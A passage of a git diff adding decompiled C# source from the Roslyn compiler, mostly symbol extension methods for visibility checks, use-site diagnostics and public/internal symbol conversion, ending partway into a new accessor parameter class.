ImmutableArray typeArguments) + { + if (!type.TypeParameters.IsEmpty) + { + return type.Construct(typeArguments, unbound: false); + } + return type; + } + + public static bool IsNestedType([NotNullWhen(true)] this Symbol? symbol) + { + if (symbol is NamedTypeSymbol) + { + return (object)symbol.ContainingType != null; + } + return false; + } + + public static bool IsAccessibleViaInheritance(this NamedTypeSymbol superType, NamedTypeSymbol subType, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Invalid comparison between Unknown and I4 + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Invalid comparison between Unknown and I4 + NamedTypeSymbol originalDefinition = superType.OriginalDefinition; + NamedTypeSymbol namedTypeSymbol = subType; + while ((object)namedTypeSymbol != null) + { + if ((object)namedTypeSymbol.OriginalDefinition == originalDefinition) + { + return true; + } + namedTypeSymbol = namedTypeSymbol.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + if (originalDefinition.IsInterface) + { + ImmutableArray.Enumerator enumerator = subType.AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo).GetEnumerator(); + while (enumerator.MoveNext()) + { + if ((object)enumerator.Current.OriginalDefinition == originalDefinition) + { + return true; + } + } + } + if ((int)superType.TypeKind == 12) + { + return (int)subType.TypeKind == 12; + } + return false; + } + + public static bool IsNoMoreVisibleThan(this Symbol symbol, TypeSymbol type, ref CompoundUseSiteInfo useSiteInfo) + { + return type.IsAtLeastAsVisibleAs(symbol, ref useSiteInfo); + } + + public static bool IsNoMoreVisibleThan(this Symbol symbol, TypeWithAnnotations type, ref CompoundUseSiteInfo useSiteInfo) + { + return type.IsAtLeastAsVisibleAs(symbol, ref useSiteInfo); + } + + internal static void AddUseSiteInfo(this Symbol? symbol, ref CompoundUseSiteInfo useSiteInfo, bool addDiagnostics = true) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + if ((object)symbol != null && useSiteInfo.AccumulatesDiagnostics) + { + UseSiteInfo useSiteInfo2 = symbol.GetUseSiteInfo(); + if (addDiagnostics) + { + useSiteInfo.AddDiagnostics(useSiteInfo2); + } + useSiteInfo.AddDependencies(useSiteInfo2); + } + } + + public static LocalizableErrorArgument GetKindText(this Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return symbol.Kind.Localize(); + } + + internal static NamespaceOrTypeSymbol? ContainingNamespaceOrType(this Symbol symbol) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + Symbol containingSymbol = symbol.ContainingSymbol; + if ((object)containingSymbol != null) + { + SymbolKind kind = containingSymbol.Kind; + if ((int)kind == 4 || kind - 11 <= 1) + { + return (NamespaceOrTypeSymbol)containingSymbol; + } + } + return null; + } + + internal static Symbol? ContainingNonLambdaMember(this Symbol? containingMember) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Invalid comparison between Unknown and I4 + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Invalid comparison between Unknown and I4 + while ((object)containingMember != null && (int)containingMember.Kind == 9) + { + MethodSymbol methodSymbol = (MethodSymbol)containingMember; + if ((int)methodSymbol.MethodKind != 0 && (int)methodSymbol.MethodKind != 17) + { + break; + } + containingMember = containingMember.ContainingSymbol; + } + return containingMember; + } + + internal static ParameterSymbol? EnclosingThisSymbol(this Symbol containingMember) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Invalid comparison between Unknown and I4 + Symbol symbol = containingMember; + NamedTypeSymbol namedTypeSymbol; + while (true) + { + SymbolKind kind = symbol.Kind; + if ((int)kind != 6) + { + if ((int)kind != 9) + { + if ((int)kind == 11) + { + namedTypeSymbol = (NamedTypeSymbol)symbol; + break; + } + return null; + } + MethodSymbol methodSymbol = (MethodSymbol)symbol; + if ((int)methodSymbol.MethodKind == 0 || (int)methodSymbol.MethodKind == 17) + { + symbol = methodSymbol.ContainingSymbol; + continue; + } + return methodSymbol.ThisParameter; + } + namedTypeSymbol = symbol.ContainingType; + break; + } + if (!namedTypeSymbol.IsScriptClass) + { + return null; + } + return namedTypeSymbol.InstanceConstructors.Single().ThisParameter; + } + + public static Symbol ConstructedFrom(this Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = symbol.Kind; + if ((int)kind != 9) + { + if ((int)kind == 11) + { + return ((NamedTypeSymbol)symbol).ConstructedFrom; + } + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + return ((MethodSymbol)symbol).ConstructedFrom; + } + + public static bool IsSourceParameterWithEnumeratorCancellationAttribute(this ParameterSymbol parameter) + { + if (!(parameter is SourceComplexParameterSymbolBase sourceComplexParameterSymbolBase)) + { + if (parameter is SynthesizedComplexParameterSymbol synthesizedComplexParameterSymbol) + { + return synthesizedComplexParameterSymbol.HasEnumeratorCancellationAttribute; + } + return false; + } + return sourceComplexParameterSymbolBase.HasEnumeratorCancellationAttribute; + } + + public static bool IsContainingSymbolOfAllTypeParameters(this Symbol containingSymbol, TypeSymbol type) + { + return (object)type.VisitType(s_hasInvalidTypeParameterFunc, containingSymbol) == null; + } + + public static bool IsContainingSymbolOfAllTypeParameters(this Symbol containingSymbol, ImmutableArray types) + { + return types.All(containingSymbol.IsContainingSymbolOfAllTypeParameters); + } + + private static bool HasInvalidTypeParameter(TypeSymbol type, Symbol? containingSymbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Invalid comparison between Unknown and I4 + if ((int)type.TypeKind == 11) + { + Symbol containingSymbol2 = type.ContainingSymbol; + while ((object)containingSymbol != null && (int)containingSymbol.Kind != 12) + { + if (containingSymbol == containingSymbol2) + { + return false; + } + containingSymbol = containingSymbol.ContainingSymbol; + } + return true; + } + return false; + } + + public static bool IsTypeOrTypeAlias(this Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Invalid comparison between Unknown and I4 + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Expected I4, but got Unknown + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Invalid comparison between Unknown and I4 + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Invalid comparison between Unknown and I4 + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + if ((int)kind <= 11) + { + switch ((int)kind) + { + default: + if ((int)kind == 11) + { + break; + } + goto IL_004f; + case 1: + case 3: + case 4: + break; + case 0: + return ((AliasSymbol)symbol).Target.IsTypeOrTypeAlias(); + case 2: + goto IL_004f; + } + } + else if ((int)kind != 14 && (int)kind != 17 && (int)kind != 20) + { + goto IL_004f; + } + return true; + IL_004f: + return false; + } + + internal static bool CompilationAllowsUnsafe(this Symbol symbol) + { + return symbol.DeclaringCompilation.Options.AllowUnsafe; + } + + internal static void CheckUnsafeModifier(this Symbol symbol, DeclarationModifiers modifiers, BindingDiagnosticBag diagnostics) + { + symbol.CheckUnsafeModifier(modifiers, symbol.GetFirstLocation(), diagnostics); + } + + internal static void CheckUnsafeModifier(this Symbol symbol, DeclarationModifiers modifiers, Location errorLocation, BindingDiagnosticBag diagnostics) + { + symbol.CheckUnsafeModifier(modifiers, errorLocation, ((BindingDiagnosticBag)diagnostics).DiagnosticBag); + } + + internal static void CheckUnsafeModifier(this Symbol symbol, DeclarationModifiers modifiers, Location errorLocation, DiagnosticBag? diagnostics) + { + if (diagnostics != null && (modifiers & DeclarationModifiers.Unsafe) == DeclarationModifiers.Unsafe && !symbol.CompilationAllowsUnsafe()) + { + diagnostics.Add(ErrorCode.ERR_IllegalUnsafe, errorLocation); + } + } + + public static bool IsHiddenByCodeAnalysisEmbeddedAttribute(this Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + NamedTypeSymbol namedTypeSymbol = (((int)symbol.Kind == 11) ? ((NamedTypeSymbol)symbol) : symbol.ContainingType); + if ((object)namedTypeSymbol == null) + { + return false; + } + while ((object)namedTypeSymbol.ContainingType != null) + { + namedTypeSymbol = namedTypeSymbol.ContainingType; + } + return namedTypeSymbol.HasCodeAnalysisEmbeddedAttribute; + } + + public static bool MustCallMethodsDirectly(this Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + if ((int)kind != 5) + { + if ((int)kind == 15) + { + return ((PropertySymbol)symbol).MustCallMethodsDirectly; + } + return false; + } + return ((EventSymbol)symbol).MustCallMethodsDirectly; + } + + public static int GetArity(this Symbol? symbol) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + if ((object)symbol != null) + { + SymbolKind kind = symbol.Kind; + if ((int)kind == 9) + { + return ((MethodSymbol)symbol).Arity; + } + if ((int)kind == 11) + { + return ((NamedTypeSymbol)symbol).Arity; + } + } + return 0; + } + + internal static CSharpSyntaxNode GetNonNullSyntaxNode(this Symbol? symbol) + { + if ((object)symbol != null) + { + SyntaxReference val = symbol.DeclaringSyntaxReferences.FirstOrDefault(); + if (val == null && symbol.IsImplicitlyDeclared) + { + Symbol containingSymbol = symbol.ContainingSymbol; + if ((object)containingSymbol != null) + { + val = containingSymbol.DeclaringSyntaxReferences.FirstOrDefault(); + } + } + if (val != null) + { + return (CSharpSyntaxNode)(object)val.GetSyntax(default(CancellationToken)); + } + } + return (CSharpSyntaxNode)(object)CSharpSyntaxTree.Dummy.GetRoot(default(CancellationToken)); + } + + [return: NotNullIfNotNull("symbol")] + internal static Symbol? EnsureCSharpSymbolOrNull(this ISymbol? symbol, string paramName) + { + if (!(symbol is Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.Symbol symbol2)) + { + if (symbol != null) + { + throw new ArgumentException(CSharpResources.NotACSharpSymbol, paramName); + } + return null; + } + return symbol2.UnderlyingSymbol; + } + + [return: NotNullIfNotNull("symbol")] + internal static AssemblySymbol? EnsureCSharpSymbolOrNull(this IAssemblySymbol? symbol, string paramName) + { + return (AssemblySymbol)((ISymbol?)(object)symbol).EnsureCSharpSymbolOrNull(paramName); + } + + [return: NotNullIfNotNull("symbol")] + internal static NamespaceOrTypeSymbol? EnsureCSharpSymbolOrNull(this INamespaceOrTypeSymbol? symbol, string paramName) + { + return (NamespaceOrTypeSymbol)((ISymbol?)(object)symbol).EnsureCSharpSymbolOrNull(paramName); + } + + [return: NotNullIfNotNull("symbol")] + internal static NamespaceSymbol? EnsureCSharpSymbolOrNull(this INamespaceSymbol? symbol, string paramName) + { + return (NamespaceSymbol)((ISymbol?)(object)symbol).EnsureCSharpSymbolOrNull(paramName); + } + + [return: NotNullIfNotNull("symbol")] + internal static TypeSymbol? EnsureCSharpSymbolOrNull(this ITypeSymbol? symbol, string paramName) + { + return (TypeSymbol)((ISymbol?)(object)symbol).EnsureCSharpSymbolOrNull(paramName); + } + + [return: NotNullIfNotNull("symbol")] + internal static NamedTypeSymbol? EnsureCSharpSymbolOrNull(this INamedTypeSymbol? symbol, string paramName) + { + return (NamedTypeSymbol)((ISymbol?)(object)symbol).EnsureCSharpSymbolOrNull(paramName); + } + + [return: NotNullIfNotNull("symbol")] + internal static TypeParameterSymbol? EnsureCSharpSymbolOrNull(this ITypeParameterSymbol? symbol, string paramName) + { + return (TypeParameterSymbol)((ISymbol?)(object)symbol).EnsureCSharpSymbolOrNull(paramName); + } + + [return: NotNullIfNotNull("symbol")] + internal static EventSymbol? EnsureCSharpSymbolOrNull(this IEventSymbol? symbol, string paramName) + { + return (EventSymbol)((ISymbol?)(object)symbol).EnsureCSharpSymbolOrNull(paramName); + } + + internal static TypeWithAnnotations GetTypeOrReturnType(this Symbol symbol) + { + symbol.GetTypeOrReturnType(out RefKind _, out TypeWithAnnotations returnType, out ImmutableArray _); + return returnType; + } + + internal static FlowAnalysisAnnotations GetFlowAnalysisAnnotations(this PropertySymbol property) + { + FlowAnalysisAnnotations flowAnalysisAnnotations = property.GetOwnOrInheritedGetMethod()?.ReturnTypeFlowAnalysisAnnotations ?? FlowAnalysisAnnotations.None; + FlowAnalysisAnnotations? flowAnalysisAnnotations2 = property.GetOwnOrInheritedSetMethod()?.Parameters.Last().FlowAnalysisAnnotations; + if (flowAnalysisAnnotations2.HasValue) + { + FlowAnalysisAnnotations valueOrDefault = flowAnalysisAnnotations2.GetValueOrDefault(); + flowAnalysisAnnotations |= valueOrDefault; + } + else if (property is SourcePropertySymbolBase sourcePropertySymbolBase) + { + if (sourcePropertySymbolBase.HasAllowNull) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.AllowNull; + } + if (sourcePropertySymbolBase.HasDisallowNull) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.DisallowNull; + } + } + return flowAnalysisAnnotations; + } + + internal static FlowAnalysisAnnotations GetFlowAnalysisAnnotations(this Symbol? symbol) + { + if (!(symbol is MethodSymbol { ReturnTypeFlowAnalysisAnnotations: var returnTypeFlowAnalysisAnnotations })) + { + if (!(symbol is PropertySymbol property)) + { + if (!(symbol is ParameterSymbol { FlowAnalysisAnnotations: var flowAnalysisAnnotations })) + { + if (!(symbol is FieldSymbol { FlowAnalysisAnnotations: var flowAnalysisAnnotations2 })) + { + return FlowAnalysisAnnotations.None; + } + return flowAnalysisAnnotations2; + } + return flowAnalysisAnnotations; + } + return property.GetFlowAnalysisAnnotations(); + } + return returnTypeFlowAnalysisAnnotations; + } + + internal static void GetTypeOrReturnType(this Symbol symbol, out RefKind refKind, out TypeWithAnnotations returnType, out ImmutableArray refCustomModifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Expected I4, but got Unknown + //IL_015c: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Unknown result type (might be due to invalid IL or missing references) + //IL_00eb: Expected I4, but got Unknown + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Expected I4, but got Unknown + //IL_010f: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Expected I4, but got Unknown + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Expected I4, but got Unknown + SymbolKind kind = symbol.Kind; + switch (kind - 4) + { + case 2: + { + FieldSymbol fieldSymbol = (FieldSymbol)symbol; + refKind = (RefKind)0; + returnType = fieldSymbol.TypeWithAnnotations; + refCustomModifiers = ImmutableArray.Empty; + break; + } + case 5: + { + MethodSymbol methodSymbol = (MethodSymbol)symbol; + refKind = (RefKind)(int)methodSymbol.RefKind; + returnType = methodSymbol.ReturnTypeWithAnnotations; + refCustomModifiers = methodSymbol.RefCustomModifiers; + break; + } + case 11: + { + PropertySymbol propertySymbol = (PropertySymbol)symbol; + refKind = (RefKind)(int)propertySymbol.RefKind; + returnType = propertySymbol.TypeWithAnnotations; + refCustomModifiers = propertySymbol.RefCustomModifiers; + break; + } + case 1: + { + EventSymbol eventSymbol = (EventSymbol)symbol; + refKind = (RefKind)0; + returnType = eventSymbol.TypeWithAnnotations; + refCustomModifiers = ImmutableArray.Empty; + break; + } + case 4: + { + LocalSymbol localSymbol = (LocalSymbol)symbol; + refKind = (RefKind)(int)localSymbol.RefKind; + returnType = localSymbol.TypeWithAnnotations; + refCustomModifiers = ImmutableArray.Empty; + break; + } + case 9: + { + ParameterSymbol parameterSymbol = (ParameterSymbol)symbol; + refKind = (RefKind)(int)parameterSymbol.RefKind; + returnType = parameterSymbol.TypeWithAnnotations; + refCustomModifiers = parameterSymbol.RefCustomModifiers; + break; + } + case 0: + refKind = (RefKind)0; + returnType = TypeWithAnnotations.Create((TypeSymbol)symbol); + refCustomModifiers = ImmutableArray.Empty; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + } + + internal static bool IsImplementableInterfaceMember(this Symbol symbol) + { + if (!symbol.IsSealed && (symbol.IsAbstract || symbol.IsVirtual)) + { + return symbol.ContainingType?.IsInterface ?? false; + } + return false; + } + + internal static bool RequiresInstanceReceiver(this Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Expected I4, but got Unknown + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + switch (kind - 5) + { + default: + if ((int)kind != 15) + { + break; + } + return ((PropertySymbol)symbol).RequiresInstanceReceiver; + case 4: + return ((MethodSymbol)symbol).RequiresInstanceReceiver; + case 1: + return ((FieldSymbol)symbol).RequiresInstanceReceiver; + case 0: + return ((EventSymbol)symbol).RequiresInstanceReceiver; + case 2: + case 3: + break; + } + throw new ArgumentException("only methods, properties, fields and events can take a receiver", "symbol"); + } + + [return: NotNullIfNotNull("symbol")] + private static TISymbol? GetPublicSymbol(this Symbol? symbol) where TISymbol : class, ISymbol + { + return (TISymbol)(object)symbol?.ISymbol; + } + + [return: NotNullIfNotNull("symbol")] + internal static ISymbol? GetPublicSymbol(this Symbol? symbol) + { + return symbol.GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static IMethodSymbol? GetPublicSymbol(this MethodSymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static IPropertySymbol? GetPublicSymbol(this PropertySymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static INamedTypeSymbol? GetPublicSymbol(this NamedTypeSymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static INamespaceSymbol? GetPublicSymbol(this NamespaceSymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static ITypeSymbol? GetPublicSymbol(this TypeSymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static ILocalSymbol? GetPublicSymbol(this LocalSymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static IAssemblySymbol? GetPublicSymbol(this AssemblySymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static INamespaceOrTypeSymbol? GetPublicSymbol(this NamespaceOrTypeSymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static IDiscardSymbol? GetPublicSymbol(this DiscardSymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static IFieldSymbol? GetPublicSymbol(this FieldSymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static IParameterSymbol? GetPublicSymbol(this ParameterSymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static IRangeVariableSymbol? GetPublicSymbol(this RangeVariableSymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static ILabelSymbol? GetPublicSymbol(this LabelSymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static IAliasSymbol? GetPublicSymbol(this AliasSymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static IModuleSymbol? GetPublicSymbol(this ModuleSymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static ITypeParameterSymbol? GetPublicSymbol(this TypeParameterSymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static IArrayTypeSymbol? GetPublicSymbol(this ArrayTypeSymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static IPointerTypeSymbol? GetPublicSymbol(this PointerTypeSymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static IFunctionPointerTypeSymbol? GetPublicSymbol(this FunctionPointerTypeSymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static IEventSymbol? GetPublicSymbol(this EventSymbol? symbol) + { + return ((Symbol?)symbol).GetPublicSymbol(); + } + + internal static IEnumerable GetPublicSymbols(this IEnumerable symbols) + { + return symbols.Select((Symbol p) => p.GetPublicSymbol()); + } + + private static ImmutableArray GetPublicSymbols(this ImmutableArray symbols) where TISymbol : class, ISymbol + { + if (symbols.IsDefault) + { + return default(ImmutableArray); + } + return ImmutableArrayExtensions.SelectAsArray(symbols, (Func)((Symbol p) => p.GetPublicSymbol())); + } + + internal static ImmutableArray GetPublicSymbols(this ImmutableArray symbols) + { + return symbols.GetPublicSymbols(); + } + + internal static ImmutableArray GetPublicSymbols(this ImmutableArray symbols) + { + return StaticCast.From(symbols).GetPublicSymbols(); + } + + internal static ImmutableArray GetPublicSymbols(this ImmutableArray symbols) + { + return StaticCast.From(symbols).GetPublicSymbols(); + } + + internal static ImmutableArray GetPublicSymbols(this ImmutableArray symbols) + { + return StaticCast.From(symbols).GetPublicSymbols(); + } + + internal static ImmutableArray GetPublicSymbols(this ImmutableArray symbols) + { + return StaticCast.From(symbols).GetPublicSymbols(); + } + + internal static ImmutableArray GetPublicSymbols(this ImmutableArray symbols) + { + return StaticCast.From(symbols).GetPublicSymbols(); + } + + internal static ImmutableArray GetPublicSymbols(this ImmutableArray symbols) + { + return StaticCast.From(symbols).GetPublicSymbols(); + } + + internal static ImmutableArray GetPublicSymbols(this ImmutableArray symbols) + { + return StaticCast.From(symbols).GetPublicSymbols(); + } + + internal static ImmutableArray GetPublicSymbols(this ImmutableArray symbols) + { + return StaticCast.From(symbols).GetPublicSymbols(); + } + + internal static ImmutableArray GetPublicSymbols(this ImmutableArray symbols) + { + return StaticCast.From(symbols).GetPublicSymbols(); + } + + internal static ImmutableArray GetPublicSymbols(this ImmutableArray symbols) + { + return StaticCast.From(symbols).GetPublicSymbols(); + } + + internal static ImmutableArray GetPublicSymbols(this ImmutableArray symbols) + { + return StaticCast.From(symbols).GetPublicSymbols(); + } + + [return: NotNullIfNotNull("symbol")] + internal static TSymbol? GetSymbol(this ISymbol? symbol) where TSymbol : Symbol + { + return (TSymbol)(((Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.Symbol)(object)symbol)?.UnderlyingSymbol); + } + + [return: NotNullIfNotNull("symbol")] + internal static Symbol? GetSymbol(this ISymbol? symbol) + { + return symbol.GetSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static TypeSymbol? GetSymbol(this ITypeSymbol? symbol) + { + return ((ISymbol?)(object)symbol).GetSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static NamedTypeSymbol? GetSymbol(this INamedTypeSymbol? symbol) + { + return ((ISymbol?)(object)symbol).GetSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static AliasSymbol? GetSymbol(this IAliasSymbol? symbol) + { + return ((ISymbol?)(object)symbol).GetSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static LocalSymbol? GetSymbol(this ILocalSymbol? symbol) + { + return ((ISymbol?)(object)symbol).GetSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static AssemblySymbol? GetSymbol(this IAssemblySymbol? symbol) + { + return ((ISymbol?)(object)symbol).GetSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static MethodSymbol? GetSymbol(this IMethodSymbol? symbol) + { + return ((ISymbol?)(object)symbol).GetSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static PropertySymbol? GetSymbol(this IPropertySymbol? symbol) + { + return ((ISymbol?)(object)symbol).GetSymbol(); + } + + [return: NotNullIfNotNull("symbol")] + internal static FunctionPointerTypeSymbol? GetSymbol(this IFunctionPointerTypeSymbol? symbol) + { + return ((ISymbol?)(object)symbol).GetSymbol(); + } + + internal static bool HasAsyncMethodBuilderAttribute(this Symbol symbol, [NotNullWhen(true)] out object? builderArgument) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Invalid comparison between Unknown and I4 + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = symbol.GetAttributes().GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpAttributeData current = enumerator.Current; + if (current.IsTargetAttribute(symbol, AttributeDescription.AsyncMethodBuilderAttribute) && ((AttributeData)current).CommonConstructorArguments.Length == 1) + { + TypedConstant val = ((AttributeData)current).CommonConstructorArguments[0]; + if ((int)((TypedConstant)(ref val)).Kind == 3) + { + val = ((AttributeData)current).CommonConstructorArguments[0]; + builderArgument = ((TypedConstant)(ref val)).ValueInternal; + return true; + } + } + } + builderArgument = null; + return false; + } + + internal static bool IsRequired(this Symbol symbol) + { + if (symbol is FieldSymbol fieldSymbol) + { + if (fieldSymbol.IsRequired) + { + goto IL_0026; + } + } + else if (symbol is PropertySymbol { IsRequired: not false }) + { + goto IL_0026; + } + return false; + IL_0026: + return true; + } + + internal static bool ShouldCheckRequiredMembers(this MethodSymbol method) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + if ((object)method != null && (int)method.MethodKind == 1) + { + return !method.HasSetsRequiredMembers; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedAccessorValueParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedAccessorValueParameterSymbol.cs new file mode 100644 index 0000000..952670e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedAccessorValueParameterSymbol.cs @@ -0,0 +1,66 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedAccessorValueParameterSymbol : SourceComplexParameterSymbolBase +{ + internal override FlowAnalysisAnnotations FlowAnalysisAnnotations + { + get + { + FlowAnalysisAnnotations flowAnalysisAnnotations = FlowAnalysisAnnotations.None; + if (ContainingSymbol is SourcePropertyAccessorSymbol { AssociatedSymbol: SourcePropertySymbolBase associatedSymbol }) + { + if (associatedSymbol.HasDisallowNull) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.DisallowNull; + } + if (associatedSymbol.HasAllowNull) + { + 